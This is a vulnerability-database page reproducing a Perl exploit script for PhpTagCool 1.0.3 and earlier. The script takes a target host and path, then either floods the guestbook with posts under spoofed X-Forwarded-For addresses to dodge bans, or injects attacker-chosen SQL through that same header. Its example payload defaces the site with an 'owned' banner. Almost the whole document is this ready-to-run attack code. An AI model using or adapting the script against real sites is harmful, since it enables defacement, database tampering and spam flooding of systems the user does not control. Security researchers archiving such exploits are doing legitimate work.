Lucene search
K

PhpTagCool <= 1.0.3 - SQL Injection Attacks Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

PhpTagCool 1.0.3 SQL Injection Attack

Code

                                                #!/usr/bin/perl
##  PhpTagCool Zatueritor 1.0
##  Copyright: Megabyte www.mbytesecurity.org
##  Greetz: Rootbox for discovering the forwarded-for issue
##  Te amo Pandora
##  Crashcool,fuiste defaceado por un bug de tu propia programacion,ahora que inventaras?
 
use IO::Socket;
 
$x = 0;
 
print q(
PhpTagCool Zatueritor 1.0
by Megabyte
 
);
print q(Host |sin http://www.| );
$host = &#60;STDIN&#62;;
chop ($host);
 
print q(Ruta |ejemplo. /phptagcool/ o /| );
$pth = &#60;STDIN&#62;;
chop ($pth);
 
print q(Tipo de Atake |1 = Posteo Masivo, 2 = Injeccion SQL| );
$type = &#60;STDIN&#62;;
chop ($type);
 
## The Flood Attack
if($type == 1){
 
 
while($x != 255)
{
 
 
$nick = &#34;nick=megabyte&#34;;
 
## We generate our own ip address so we won&#39;t be banned  :) 
$ip = &#34;127.0.0&#34; . &#34;$x&#34;;
 
 
$postit = &#34;$nick&#34;.&#34;&url=http%3A%2F%2Fwww.mbytesecurity.org&mensaje=FloodingLam
eTag&Submit=Enviar&#34;;
 
 
$lrg = length $postit;
 
 
my $sock = new IO::Socket::INET (
                                 PeerAddr =&#62; &#34;$host&#34;,
                                 PeerPort =&#62; &#34;80&#34;,
                                 Proto =&#62; &#34;tcp&#34;,
                                );
die &#34;\nNo se pudo conectar  :(  $!\n&#34; unless $sock;
 
## We Fake the X-Forwarded-For header,so we can post with multiple ip&#39;s
print $sock &#34;POST $pth&#34;.&#34;mensajes.php HTTP/1.1\n&#34;;
print $sock &#34;Host: $host\n&#34;;
print $sock &#34;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwav
e-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n&#34;;
print $sock &#34;Referer: $host\n&#34;;
print $sock &#34;Accept-Language: en-us\n&#34;;
print $sock &#34;Content-Type: application/x-www-form-urlencoded\n&#34;;
print $sock &#34;Accept-Encoding: gzip, deflate\n&#34;;
print $sock &#34;User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox
/1.0.4\n&#34;;
print $sock &#34;X-Forwarded-For: $ip\n&#34;;
print $sock &#34;Connection: Keep-Alive\n&#34;;
print $sock &#34;Cache-Control: no-cache\n&#34;;
print $sock &#34;Content-Length: $lrg\n\n&#34;;
print $sock &#34;$postit\n&#34;;
close($sock);
 
 
syswrite STDOUT, &#34;.&#34;;
 
 
$x++;
}
 
## The SQL injection attack  :) 
}
elsif ($type == 2){
 
print q(Inyeccion a ejecutar Ejemplo 127.0.0.1&#39;),(&#39;&#60;h1&#62;owned&#60;/h1&#62;&#39;,&#39;http://mbytesecurity.
org&#39;,&#39;leim&#39;,&#39;hoy&#39;,&#39;11 );
$sql = &#60;STDIN&#62;;
chop ($sql);
 
 
 
my $sock = new IO::Socket::INET (
                                 PeerAddr =&#62; &#34;$host&#34;,
                                 PeerPort =&#62; &#34;80&#34;,
                                 Proto =&#62; &#34;tcp&#34;,
                                );
die &#34;\nNo se pudo conectar  :(  $!\n&#34; unless $sock;
 
 
print $sock &#34;POST $pth&#34;.&#34;mensajes.php HTTP/1.1\n&#34;;
print $sock &#34;Host: $host\n&#34;;
print $sock &#34;Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q
=0.8,image/png,*/*;q=0.5\n&#34;;
print $sock &#34;Referer: $host\n&#34;;
print $sock &#34;Accept-Language: en-us\n&#34;;
print $sock &#34;Content-Type: application/x-www-form-urlencoded\n&#34;;
print $sock &#34;Accept-Encoding: gzip, deflate\n&#34;;
print $sock &#34;User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox
/1.0.4\n&#34;;
print $sock &#34;Connection: Keep-Alive\n&#34;;
print $sock &#34;Cache-Control: no-cache\n&#34;;
print $sock &#34;Content-Length: $lrg\n\n&#34;;
print $sock &#34;X-Forwarded-For: $sql\n&#34;;
close($sock);
 
}else{
 
	die &#34;Solo hay 2 opciones IMBECIL\n&#34;;
}

# milw0rm.com [2005-09-11]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14